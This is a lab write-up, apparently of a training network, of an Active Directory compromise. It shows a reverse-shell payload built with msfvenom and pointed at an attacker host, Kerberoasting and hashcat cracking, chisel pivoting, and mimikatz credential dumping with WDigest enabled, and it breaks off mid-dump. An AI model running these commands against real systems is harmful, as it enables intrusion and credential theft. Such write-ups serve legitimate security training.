Before switching projects, our teammate left a password-protected web shell (with the credentials: admin:My_W3bsH3ll_P@ssw0rd! in place for us to start from in the /uploads directory.
We have initial credentials admin:My_W3bsH3ll_P@ssw0rd!
Based on the info we have, I browse to the url/uploads:

When I clicked on the antak.aspx, I was directed to the authentcation page.

Let's try the credentials provided by the team: admin:My_W3bsH3ll_P@ssw0rd!

I was able to log into antak webshell as shown in the image above.
I check systeminfo to understand the system architecture:

Exploitation

Now my head started spinning on how to pop a reverse shell without metasploit, so I created a base 64 payload with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_Port> -f exe -o shell.exe

Now our payload is ready, we need to upload it to the target:

Start nc listener on my attack machine:

nc -lvnp 4466

In the terminal I then run C:\myshell.exe or whatever the name your payload is named, then I have a shell:

To use native commands, I type powershell in the shell to get into powershell
To know the host identity and domain info I ran Get-ChildItem Env: | ft key,value

PS C:\> Get-ChildItem Env: | ft key,value
Get-ChildItem Env: | ft key,value

Key                         Value                                                                                      
---                         -----                                                                                      
ALLUSERSPROFILE             C:\ProgramData                                                                             
APP_POOL_CONFIG             C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config                              
APP_POOL_ID                 DefaultAppPool                                                                             
APPDATA                     C:\Windows\system32\config\systemprofile\AppData\Roaming                                   
CommonProgramFiles          C:\Program Files\Common Files                                                              
CommonProgramFiles(x86)     C:\Program Files (x86)\Common Files                                                        
CommonProgramW6432          C:\Program Files\Common Files                                                              
COMPUTERNAME                WEB-WIN01                                                                                  
ComSpec                     C:\Windows\system32\cmd.exe                                                                
DriverData                  C:\Windows\System32\Drivers\DriverData                                                     
LOCALAPPDATA                C:\Windows\system32\config\systemprofile\AppData\Local                                     
NUMBER_OF_PROCESSORS        4                                                                                          
OS                          Windows_NT                                                                                 
Path                        C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPower...
PATHEXT                     .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL                                 
PROCESSOR_ARCHITECTURE      AMD64                                                                                      
PROCESSOR_IDENTIFIER        AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD                                           
PROCESSOR_LEVEL             25                                                                                         
PROCESSOR_REVISION          0101                                                                                       
ProgramData                 C:\ProgramData                                                                             
ProgramFiles                C:\Program Files                                                                           
ProgramFiles(x86)           C:\Program Files (x86)                                                                     
ProgramW6432                C:\Program Files                                                                           
PROMPT                      $P$G                                                                                       
PSExecutionPolicyPreference Bypass                                                                                     
PSModulePath                WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32...
PUBLIC                      C:\Users\Public                                                                            
SystemDrive                 C:                                                                                         
SystemRoot                  C:\Windows                                                                                 
TEMP                        C:\Windows\TEMP                                                                            
TMP                         C:\Windows\TEMP                                                                            
USERDOMAIN                  INLANEFREIGHT                                                                              
USERNAME                    WEB-WIN01$                                                                                 
USERPROFILE                 C:\Windows\system32\config\systemprofile                                                   
windir                      C:\Windows

COMPUTERNAME : WEB-WIN01USERDOMAIN : INLANEFREIGHT

👉 Now we Confirm:

machine name
domain membership
Let's run route print To understand network reachability and pivot opportunities

PS C:\> route print
route print
===========================================================================
Interface List
  7...00 50 56 94 db 4c ......vmxnet3 Ethernet Adapter #2
  3...00 50 56 94 9e af ......vmxnet3 Ethernet Adapter
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0       172.16.6.1     172.16.6.100     11
          0.0.0.0          0.0.0.0       10.129.0.1     10.129.25.22     15
       10.129.0.0      255.255.0.0         On-link      10.129.25.22    271
     10.129.25.22  255.255.255.255         On-link      10.129.25.22    271
   10.129.255.255  255.255.255.255         On-link      10.129.25.22    271
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
       172.16.0.0      255.255.0.0         On-link      172.16.6.100    266
     172.16.6.100  255.255.255.255         On-link      172.16.6.100    266
   172.16.255.255  255.255.255.255         On-link      172.16.6.100    266
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link      172.16.6.100    266
        224.0.0.0        240.0.0.0         On-link      10.129.25.22    271
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link      172.16.6.100    266
  255.255.255.255  255.255.255.255         On-link      10.129.25.22    271
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0       172.16.6.1       1
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  3    271 ::/0                     fe80::250:56ff:fe94:a0a0
  1    331 ::1/128                  On-link
  3    271 dead:beef::/64           On-link
  3    271 dead:beef::202/128       On-link
  3    271 dead:beef::15a2:99e7:f7e2:6c05/128
                                    On-link
  7    266 fe80::/64                On-link
  3    271 fe80::/64                On-link
  3    271 fe80::15a2:99e7:f7e2:6c05/128
                                    On-link
  7    266 fe80::5425:f5d2:6282:3a53/128
                                    On-link
  1    331 ff00::/8                 On-link
  7    266 ff00::/8                 On-link
  3    271 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

With the above scan we confirm that this box is dual-homed (connected to two networks)

Two different networks exist:

172.16.6.0/16 → internal domain network (Guessing where DC is)
10.129.0.0/16 → external network

I tried to download fping but no luck, so I try to check the live hosts within the domain network with the code below.Though it was slow but I got back result:

6..7 | ForEach-Object { $i = $_; 1..254 | ForEach-Object { if (Test-Connection -ComputerName "172.16.$i.$_" -Count 1 -Quiet) { write-host "172.16.$i.$_ is UP" } } }

We got back three ips back including our host ip below:

PS C:\> 6..7 | ForEach-Object { $i = $_; 1..254 | ForEach-Object { if (Test-Connection -ComputerName "172.16.$i.$_" -Count 1 -Quiet) { write-host "172.16.$i.$_ is UP" } } }

172.16.6.3 is UP
172.16.6.50 is UP
172.16.6.100 is UP

Then Check the password policy with net accounts /domain

PS C:\> net accounts /domain
net accounts /domain
The request will be processed at a domain controller for domain INLANEFREIGHT.LOCAL.

Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          42
Minimum password length:                              1
Length of password history maintained:                24
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        PRIMARY

To step-up our enumeration let's Download and move Powerview to the target and Import-Module:

PS C:\> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
PS C:\> Get-Command Get-DomainUser
Get-Command Get-DomainUser

CommandType     Name                                               Version    Source                                   
-----------     ----                                               -------    ------                                   
Function        Get-DomainUser

Then run Get-DomainUser * -spn | select samaccountname,serviceprincipalname to SPN accounts.

Why do we need check for SPN accounts?

These accounts are:

service accounts
tied to services (SQL, IIS, etc.)
often have privileged access
frequently have weak or reused passwords
issued TGS (Ticket Granting Service) tickets

PS C:\> Get-DomainUser * -spn | select samaccountname,serviceprincipalname
Get-DomainUser * -spn | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname                       
-------------- --------------------                       
azureconnect   adfsconnect/azure01.inlanefreight.local    
backupjob      backupjob/veam001.inlanefreight.local      
krbtgt         kadmin/changepw                            
sqltest        MSSQLSvc/DEVTEST.inlanefreight.local:1433  
sqlqa          MSSQLSvc/QA001.inlanefreight.local:1433    
sqldev         MSSQLSvc/SQL-DEV01.inlanefreight.local:1433
svc_sql        MSSQLSvc/SQL01.inlanefreight.local:1433    
sqlprod        MSSQLSvc/SQL02.inlanefreight.local:1433

We see that the samaccountname for the SPN in question (MSSQLSvc/SQL01.inlanefreight.local:1433) is svc_sql.

Now we can get the TGS ticket in Hashcat format.

PS C:\> Get-DomainUser * -spn | select samaccountname,serviceprincipalname
Get-DomainUser * -spn | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname                       
-------------- --------------------                       
azureconnect   adfsconnect/azure01.inlanefreight.local    
backupjob      backupjob/veam001.inlanefreight.local      
krbtgt         kadmin/changepw                            
sqltest        MSSQLSvc/DEVTEST.inlanefreight.local:1433  
sqlqa          MSSQLSvc/QA001.inlanefreight.local:1433    
sqldev         MSSQLSvc/SQL-DEV01.inlanefreight.local:1433
svc_sql        MSSQLSvc/SQL01.inlanefreight.local:1433    
sqlprod        MSSQLSvc/SQL02.inlanefreight.local:1433    


PS C:\> Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat


SamAccountName       : svc_sql
DistinguishedName    : CN=svc_sql,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/SQL01.inlanefreight.local:1433
TicketByteHexStream  : 
Hash                 : $krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/SQL01.inlanefreight.local:1433*$033E72A1673FBECEC2BA32C7311A3407$DBAC70A37D122F20632D9777F49FF1CB87DC3A376E2D61BAE1BF93FAD4E41861A038816559BC11F7F086DDADC3AC8D13073F830621EE5431BD48991721A1B9C018A369EAAACACE5AE53DCC419F58C2DB509D1B28A4D52=44891900AF2D4743CAEA09F79161086BCE3F4399C5995F78163240BFBE6835609E71B74E52AD2A4BC30FBB838A25665AD2BE3B6C9DCBF8A9388C149308D212CB2742F95010E0ADBCC63B5E43A8444D9350BC21D0CCEA2A27DA58461A8F1CD2F00538774511EBBE6319ADAC6CBDFD476ACCA57983A5825BEBA52CD389E149403A500F9E294FEF1182EE08AF444ACCA0A1C14374908D6D84314A823E8CD7AC4449B6A8A2C93E2AA4892978A2692C0B37C697E42CD3F55BF8BD3A395C2F416CA16E
93B4FF7DE4476C2BD7FFC191B4DC79A0B11586E9FD9B379733E5698317EA6EE0FE4DF2B9B26CBF3B30204F7B5F2487314235F93BCA85CB2B7C94B07F1CBEB54DD27FB8A73E44BBB039C28E3C79B61104EBB3BBCABBD00F1B222A08BEA24AFDF890CBCC5B142F630BFD2843030B67F623E389326C9B8E9EBF89AF7B42275D235BD245400F661704368970108B4100A86A7F545762B7E096302A03E3C16640A014189DB39602954E467B2DAA78423C166FC2375DCE11A0228AA111B9A5B510D33D84FD1E5EA39D18184CC0077596DDC7EF3FDF72DB0639796CA5019ECE30F92CB0FC130E5F4246F4ADA8D7914656AFAF229B5D885969D3E07C65F4561784416E9C012D3947DD6E78211EE247BC2DF3133AA3342E7CD0B09822984FBEA866D74D581CFAE2DE1B92830F4E5718A7CA2018FF0C70FBDA20D76393C52F0A15D26D32B2AEE1C3670B978DB0C57C256D3CDBB2BC0A38AC166A53E7E12030F6A39166472F91C20514E5D742267CB23CDCD9C4D709F41768C9082C09D9504DDA8074702DC042B4396F51224BABA0434383F9C8C98AF37C043B240608E8AFAA574CB08F70CE06CBF55115214BDFEF22692E4FBDC1BD7485F150C74152C0EA274EAF53BFB935C8DA5B2B4A1539331E7D4BFDB184257CFD4917DCCC651C349098AFF8DA1DA4C818F29797BB696C674683802FC914508FA879887D47EAE46C2D836F7472B9AC834BB2CAF1859E22705F2ED98CB127AB830F00473B0C0B2A108DC6400FC5E77D597FDBE1462030889DC498223B6A072588805D3CDB8600324EBC2EBCBCD35BFC020D4877316BF8EB9F11582CBA46C16436E14F813A4A5AE3EE0BB16BD07A73FF1B0BC135E95BF6A8FD9B5EFA9DAED725B5DD91F51E6330FDD76BB56116D34DB197D59061D19B21C485F962CD4DBE203C23A2A9203F34ED5C8FA32068061AE528DA2D144D362B501AE5F1CAB79FF516981970DC6FB31E80401A2B7B564E332B76FA564F8BD446C4984D1DD291397FAEC2EF7176399C01EB805FC57C228C42BF23AB6B9C5C8932FC09027A8DF5D8CB646CFBBF2D416D3FF73A04142240352B771E2BFEB150B3190572D570D46F9D1448BE760BC86D607CBE2519EB816A8E0D0E148C249

Let try to crack it with hashcat:

─[eu-academy-1]─[10.10.14.78]─[htb-ac-2510340@htb-hdniwpyvod]─[~]
└──╼ [★]$ hashcat -m 13100 svc_sql /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/SQL01.inlanefreight.local:1433*$033e72a1673fbecec2ba32c7311a3407$dbac70a37d122f20632d9777f49ff1cb87dc3a376e2d61bae1bf93fad4e41861a038816559bc11f7f086ddadc3ac8d13073f830621ee5431bd48991721a1b9c018a369eaaacace5ae53dcc419f58c2db509d1b28a4d5244891900af2d4743caea09f79161086bce3f4399c5995f78163240bfbe6835609e71b74e52ad2a4bc30fbb838a25665ad2be3b6c9dcbf8a9388c149308d212cb2742f95010e0adbcc63b5e43a8444d9350bc21d0ccea2a27da58461a8f1cd2f00538774511ebbe6319adac6cbdfd476acca57983a5825beba52cd389e149403a500f9e294fef1182ee08af444acca0a1c14374908d6d84314a823e8cd7ac4449b6a8a2c93e2aa4892978a2692c0b37c697e42cd3f55bf8bd3a395c2f416ca16e93b4ff7de4476c2bd7ffc191b4dc79a0b11586e9fd9b379733e5698317ea6ee0fe4df2b9b26cbf3b30204f7b5f2487314235f93bca85cb2b7c94b07f1cbeb54dd27fb8a73e44bbb039c28e3c79b61104ebb3bbcabbd00f1b222a08bea24afdf890cbcc5b142f630bfd2843030b67f623e389326c9b8e9ebf89af7b42275d235bd245400f661704368970108b4100a86a7f545762b7e096302a03e3c16640a014189db39602954e467b2daa78423c166fc2375dce11a0228aa111b9a5b510d33d84fd1e5ea39d18184cc0077596ddc7ef3fdf72db0639796ca5019ece30f92cb0fc130e5f4246f4ada8d7914656afaf229b5d885969d3e07c65f4561784416e9c012d3947dd6e78211ee247bc2df3133aa3342e7cd0b09822984fbea866d74d581cfae2de1b92830f4e5718a7ca2018ff0c70fbda20d76393c52f0a15d26d32b2aee1c3670b978db0c57c256d3cdbb2bc0a38ac166a53e7e12030f6a39166472f91c20514e5d742267cb23cdcd9c4d709f41768c9082c09d9504dda8074702dc042b4396f51224baba0434383f9c8c98af37c043b240608e8afaa574cb08f70ce06cbf55115214bdfef22692e4fbdc1bd7485f150c74152c0ea274eaf53bfb935c8da5b2b4a1539331e7d4bfdb184257cfd4917dccc651c349098aff8da1da4c818f29797bb696c674683802fc914508fa879887d47eae46c2d836f7472b9ac834bb2caf1859e22705f2ed98cb127ab830f00473b0c0b2a108dc6400fc5e77d597fdbe1462030889dc498223b6a072588805d3cdb8600324ebc2ebcbcd35bfc020d4877316bf8eb9f11582cba46c16436e14f813a4a5ae3ee0bb16bd07a73ff1b0bc135e95bf6a8fd9b5efa9daed725b5dd91f51e6330fdd76bb56116d34db197d59061d19b21c485f962cd4dbe203c23a2a9203f34ed5c8fa32068061ae528da2d144d362b501ae5f1cab79ff516981970dc6fb31e80401a2b7b564e332b76fa564f8bd446c4984d1dd291397faec2ef7176399c01eb805fc57c228c42bf23ab6b9c5c8932fc09027a8df5d8cb646cfbbf2d416d3ff73a04142240352b771e2bfeb150b3190572d570d46f9d1448be760bc86d607cbe2519eb816a8e0d0e148c249:lucky7

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_sql$INLANEFREIGHT.LOCAL$MSSQLSvc/S...48c249
Time.Started.....: Wed Apr 29 10:27:05 2026 (0 secs)
Time.Estimated...: Wed Apr 29 10:27:05 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:   691.4 kH/s (2.03ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2048/14344385 (0.01%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: 123456 -> lovers1

Started: Wed Apr 29 10:26:56 2026
Stopped: Wed Apr 29 10:27:06 2026

The next question is Submit the contents of the flag.txt file on the Administrator desktop on MS01 so I ran the command below to confirm the MS01 ip address:

PS C:\> Resolve-DnsName MS01
Resolve-DnsName MS01

Name                                           Type   TTL   Section    IPAddress                                
----                                           ----   ---   -------    ---------                                
MS01.INLANEFREIGHT.LOCAL                       A      1200  Answer     172.16.6.50

We are unable to connect directly to the MS01 from our attack box, that means we need to set up proxy server, so I chose chisel

I downloaded chisel, start python3 server on my attack machine and uploaded chisel to the target machine:

PS C:\> Invoke-WebRequest http://10.10.14.30:8080/chisel_windows.exe -OutFile C:\chisel_windows.exe

Then we need to start chisel as server on the target:

PS C:\> ./chisel_windows.exe server -p 1234 --socks5
./chisel_windows.exe server -p 1234 --socks5
2026/05/01 07:23:52 server: Fingerprint WtNKsr+iugPQBM7bYUL4YCYLT4P157tKALSdqDCixpU=
2026/05/01 07:23:52 server: Listening on http://0.0.0.0:1234
2026/05/01 07:24:42 server: session#1: Client version (1.10.0) differs from server version (1.10.1)

Now we can start chisel on our attack machine as client:

─[eu-academy-1]─[10.10.14.30]─[htb-ac-2510340@htb-nyd2s4irji]─[~]
└──╼ [★]$ chisel client -v 10.129.28.167:1234 socks
2026/05/01 09:24:42 client: Connecting to ws://10.129.28.167:1234
2026/05/01 09:24:42 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2026/05/01 09:24:42 client: tun: Bound proxies
2026/05/01 09:24:42 client: Handshaking...
2026/05/01 09:24:42 client: Sending config
2026/05/01 09:24:42 client: Connected (Latency 1.637637ms)
2026/05/01 09:24:42 client: tun: SSH connected

Because we are running on socks5 we need to modify the /etc/proxychains.conf to match what our attack machine is Listening.... when we start chisel as client 127.0.0.1:1080

Now that our proxy server is set and we confirm the MS01 IP let's use evil_winram into the machine to submite the flag with proxychains flag before our command:

proxychains evil-winrm -i 172.16.6.50 -u svc_sql -p lucky7

We can also RDP into the host:

proxychains xfreerdp /v:<Server_IP> /u:<Username> /p:<Password> /size:1920x1080

While enumerting MS01 I noticed another user:

PS C:\> query user
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 tpetty                console             1  Active      none   5/1/2026 4:34 AM
 svc_sql               rdp-tcp#2           2  Active       1:16  5/1/2026 5:41 AM

Let's upload mimikatz to see if we can get plain text password for the same user on the host:

PS C:\> upload /home/htb-ac-2510340/mimikatz.exe

Info: Uploading /home/htb-ac-2510340/mimikatz.exe to C:\\mimikatz.exe
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK

Info: Upload successful!

Let's run mimikatz with these flags "privilege::debug" "sekurlsa::logonpasswords":

PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 1285573 (00000000:00139dc5)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 5/1/2026 5:41:36 AM
SID               : S-1-5-96-0-2
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * NTLM     : 8fbaa4a365f38f8148230a72efe206d3
     * SHA1     : bed51be11137d6ea159e1952b768de1f04171903
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : INLANEFREIGHT.LOCAL
     * Password : f9 60 d9 d2 54 6c d4 dc 9b b6 db 18 48 6a c0 a0 22 37 b7 ee fc 49 d9 30 a5 8c e2 8c ef 62 82 f0 79 78 4b 53 b7 8d a3 fa a3 bd d6 9c a6 6d 44 01 cf 96 b1 5e 45 c6 91 68 08 d4 c9 f3 37 91 09 13 e9 09 63 bd ad e0 21 26 81 d6 57 ab af 26 01 1a 7b 6c 0d 45 87 97 31 84 ec 80 36 b1 23 1f b2 a5 68 c8 81 e1 d0 ac b5 61 a9 4d b0 b6 55 1f ba 89 cf 68 bc a8 2d 4d fd 03 8e 93 b3 b2 1f d8 43 f9 c0 42 5c 29 ce 5d 63 53 81 f6 08 81 d7 af 74 98 84 3e 81 a7 9c 15 a9 0e db af df f2 15 27 1a 81 6b 67 2f 65 07 cc 4c 39 60 51 1c 54 44 33 c7 f0 ed 1b 86 0b a9 3f 07 54 eb a2 e9 a3 f3 63 dc a7 8b 15 57 38 ac 6d 7d 74 4b f3 92 1f 61 68 33 49 a8 1b fd 96 3f a0 d0 a3 3b 7f 54 b8 8b 9e cc 6f 60 85 b4 77 3f f4 f5 3f a3 ee d2 70 32 d6 c8 57
    ssp :
    credman :

Authentication Id : 0 ; 72704 (00000000:00011c00)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 5/1/2026 4:33:22 AM
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * NTLM     : 8fbaa4a365f38f8148230a72efe206d3
     * SHA1     : bed51be11137d6ea159e1952b768de1f04171903
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : INLANEFREIGHT.LOCAL
     * Password : f9 60 d9 d2 54 6c d4 dc 9b b6 db 18 48 6a c0 a0 22 37 b7 ee fc 49 d9 30 a5 8c e2 8c ef 62 82 f0 79 78 4b 53 b7 8d a3 fa a3 bd d6 9c a6 6d 44 01 cf 96 b1 5e 45 c6 91 68 08 d4 c9 f3 37 91 09 13 e9 09 63 bd ad e0 21 26 81 d6 57 ab af 26 01 1a 7b 6c 0d 45 87 97 31 84 ec 80 36 b1 23 1f b2 a5 68 c8 81 e1 d0 ac b5 61 a9 4d b0 b6 55 1f ba 89 cf 68 bc a8 2d 4d fd 03 8e 93 b3 b2 1f d8 43 f9 c0 42 5c 29 ce 5d 63 53 81 f6 08 81 d7 af 74 98 84 3e 81 a7 9c 15 a9 0e db af df f2 15 27 1a 81 6b 67 2f 65 07 cc 4c 39 60 51 1c 54 44 33 c7 f0 ed 1b 86 0b a9 3f 07 54 eb a2 e9 a3 f3 63 dc a7 8b 15 57 38 ac 6d 7d 74 4b f3 92 1f 61 68 33 49 a8 1b fd 96 3f a0 d0 a3 3b 7f 54 b8 8b 9e cc 6f 60 85 b4 77 3f f4 f5 3f a3 ee d2 70 32 d6 c8 57
    ssp :
    credman :

Authentication Id : 0 ; 1308030 (00000000:0013f57e)
Session           : RemoteInteractive from 2
User Name         : svc_sql
Domain            : INLANEFREIGHT
Logon Server      : DC01
Logon Time        : 5/1/2026 5:41:37 AM
SID               : S-1-5-21-2270287766-1317258649-2146029398-4608
    msv :
     [00000003] Primary
     * Username : svc_sql
     * Domain   : INLANEFREIGHT
     * NTLM     : dc3ba1d16d82ac977eea8c22c5de3f82
     * SHA1     : c052c598aaed303e20658a4a6341320867d8dcc4
     * DPAPI    : 32d87218d6331c60d8448418e504b7df
    tspkg :
    wdigest :
     * Username : svc_sql
     * Domain   : INLANEFREIGHT
     * Password : (null)
    kerberos :
     * Username : svc_sql
     * Domain   : INLANEFREIGHT.LOCAL
     * Password : (null)
    ssp :
    credman :

mimikatz(commandline) # exit
Bye!

We got back some NTLM hash but the user we are after has NULL as password. Let's enable WDigest protocol to and try again to see if we would get lucky. Still on the host:172.16.6.50:

PS C:\Users\svc_sql.INLANEFREIGHT\Documents> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
The operation completed successfully.

Then restart:

PS C:\Users\svc_sql.INLANEFREIGHT\Documents> shutdown.exe /r /t 0 /f
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK

Now let's try mimikatz again:

PS C:\Users\svc_sql.INLANEFREIGHT\Documents> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 55262 (00000000:0000d7de)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 5/1/2026 9:40:36 AM
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * NTLM     : 2951b92fba38c91eb04c39752106d237
     * SHA1     : ae7ad0461a1f52dec0dfc42d44d939af1d3e7e75
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : INLANEFREIGHT
     * Password : 38 be 36 a5 5f 82 b1 15 9c 1e a7 1e 3c 2f cf 0e 7e 83 32 e1 52 58 4b d2 11 00 a9 9d 22 e1 00 59 3d 58 23 11 27 fd 1c 9e 5d 99 6e 63 c5 94 5f e4 f4 d5 09 75 e3 b8 60 f9 7b d8 89 31 d4 5c 64 08 6a 29 6f 73 43 ed 38 84 f5 ce 0c 6d a1 48 70 36 89 2d 32 f5 32 81 dd 50 dd 1d 13 3e 5d 48 66 dd 1e 05 b2 4e 13 9c d4 b1 5e 56 d3 d8 c1 57 5e 2f 5f e0 01 ad 3f 4b 15 d3 df 50 77 c1 5b f4 60 76 ae 4a 15 bf ec b3 cc 75 42 9b 8f 7f fb 50 3e fb 73 c7 45 00 18 dd d7 7f a8 3b 83 5a 0f 35 bc bc cf 5d a0 ac f7 fd 2c e8 7c 0b bc 51 c3 42 10 a6 86 c4 75 0a 10 71 50 fb 58 15 78 f3 21 44 53 58 b9 71 ba 48 67 fc 03 b2 36 a2 e5 c5 d9 c4 98 da dc 9c 5c 44 94 45 18 ed 25 af e8 a9 9f 04 38 45 7b 65 48 e7 69 17 07 48 b4 51 24 e2 1a e0 99 84
    kerberos :
     * Username : MS01$
     * Domain   : INLANEFREIGHT.LOCAL
     * Password : 38 be 36 a5 5f 82 b1 15 9c 1e a7 1e 3c 2f cf 0e 7e 83 32 e1 52 58 4b d2 11 00 a9 9d 22 e1 00 59 3d 58 23 11 27 fd 1c 9e 5d 99 6e 63 c5 94 5f e4 f4 d5 09 75 e3 b8 60 f9 7b d8 89 31 d4 5c 64 08 6a 29 6f 73 43 ed 38 84 f5 ce 0c 6d a1 48 70 36 89 2d 32 f5 32 81 dd 50 dd 1d 13 3e 5d 48 66 dd 1e 05 b2 4e 13 9c d4 b1 5e 56 d3 d8 c1 57 5e 2f 5f e0 01 ad 3f 4b 15 d3 df 50 77 c1 5b f4 60 76 ae 4a 15 bf ec b3 cc 75 42 9b 8f 7f fb 50 3e fb 73 c7 45 00 18 dd d7 7f a8 3b 83 5a 0f 35 bc bc cf 5d a0 ac f7 fd 2c e8 7c 0b bc 51 c3 42 10 a6 86 c4 75 0a 10 71 50 fb 58 15 78 f3 21 44 53 58 b9 71 ba 48 67 fc 03 b2 36 a2 e5 c5 d9 c4 98 da dc 9c 5c 44 94 45 18 ed 25 af e8 a9 9f 04 38 45 7b 65 48 e7 69 17 07 48 b4 51 24 e2 1a e0 99 84
    ssp :
    credman :

Authentication Id : 0 ; 170825 (00000000:00029b49)
Session           : Interactive from 1
User Name         : tpetty
Domain            : INLANEFREIGHT
Logon Server      : DC01
Logon Time        : 5/1/2026 9:40:40 AM
SID               : S-1-5-21-2270287766-1317258649-2146029398-4607
    msv :
     [00000003] Primary
     * Username : tpetty
     * Domain   : INLANEFREIGHT
     * NTLM     : fd37b6fec5704cadabb319cebf9e3a3a
     * SHA1     : 38afea42a5e28220474839558f073979645a1192
     * DPAPI    : da2ec07551ab1602b7468db08b41e3b2
